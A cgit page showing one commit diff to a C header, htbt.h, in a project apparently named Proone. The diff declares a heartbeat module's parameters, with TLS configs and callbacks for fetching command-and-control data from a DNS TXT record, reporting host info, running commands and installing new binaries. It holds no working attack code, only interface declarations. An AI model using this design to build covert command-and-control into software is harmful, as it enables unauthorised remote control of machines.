aboutsummaryrefslogtreecommitdiff
path: root/src/htbt.h
diff options
context:
space:
mode:
authorDavid Timber <mieabby@gmail.com>2020-08-29 17:09:10 +0930
committerDavid Timber <mieabby@gmail.com>2020-08-29 17:20:37 +0930
commitf36333b2c915ac7d9cf82e09ab5cb2a2f8296177 (patch)
tree48e28c7750c99414bc1430ffefbd9fbaa26788e5 /src/htbt.h
parentacf0b7a45171555eba2c10a6ef84f915c62f6791 (diff)
* _POSIX_C_SOURCE=199506L
* Add proone-htbthost * Add prne_iobuf, use it in resolv, htbt * memzero() -> prne_memzero() now as a function * Add prne_mbedtls_pth_handle() * Protocol changes * Remove prne_unint_*() * Add src/proone_conf.skel
Diffstat (limited to 'src/htbt.h')
-rw-r--r--src/htbt.h33
1 files changed, 27 insertions, 6 deletions
diff --git a/src/htbt.h b/src/htbt.h
index edb6cda..b714b1e 100644
--- a/src/htbt.h
+++ b/src/htbt.h
@@ -1,14 +1,35 @@
#pragma once
#include "pth.h"
#include "resolv.h"
+#include "protocol.h"
+
+#include <mbedtls/ssl.h>
-typedef struct prne_htbt prne_htbt_t;
struct prne_htbt;
+typedef struct prne_htbt prne_htbt_t;
+typedef struct prne_htbt_param prne_htbt_param_t;
+typedef bool(*prne_htbt_cnc_txtrec_ft)(char *out);
+typedef bool(*prne_htbt_hostinfo_ft)(prne_htbt_host_info_t *out);
+typedef char*(*prne_htbt_tmpfile_ft)(const size_t req_size);
+typedef bool(*prne_htbt_cmd_ft)(const prne_htbt_cmd_t *cmd);
+typedef bool(*prne_htbt_bin_ft)(const char *path, const prne_htbt_cmd_t *cmd);
+
+struct prne_htbt_param {
+ mbedtls_ssl_config *lbd_ssl_conf;
+ mbedtls_ssl_config *cncp_ssl_conf;
+ mbedtls_ctr_drbg_context *ctr_drbg;
+ prne_resolv_t *resolv;
+ struct {
+ prne_htbt_cnc_txtrec_ft cnc_txtrec;
+ prne_htbt_hostinfo_ft hostinfo; // optional
+ prne_htbt_tmpfile_ft tmpfile; // optional
+ prne_htbt_bin_ft ny_bin; // optional
+ } cb_f;
+};
+
+prne_htbt_t *prne_alloc_htbt (prne_worker_t *w, const prne_htbt_param_t param);
-prne_htbt_t *prne_alloc_htbt_worker (
- prne_worker_t *w,
- pth_t sigterm_pth,
- prne_resolv_t *resolv, // optional
- mbedtls_ctr_drbg_context *ctr_drbg);
+void prne_htbt_init_param (prne_htbt_param_t *p);
+void prne_htbt_free_param (prne_htbt_param_t *p);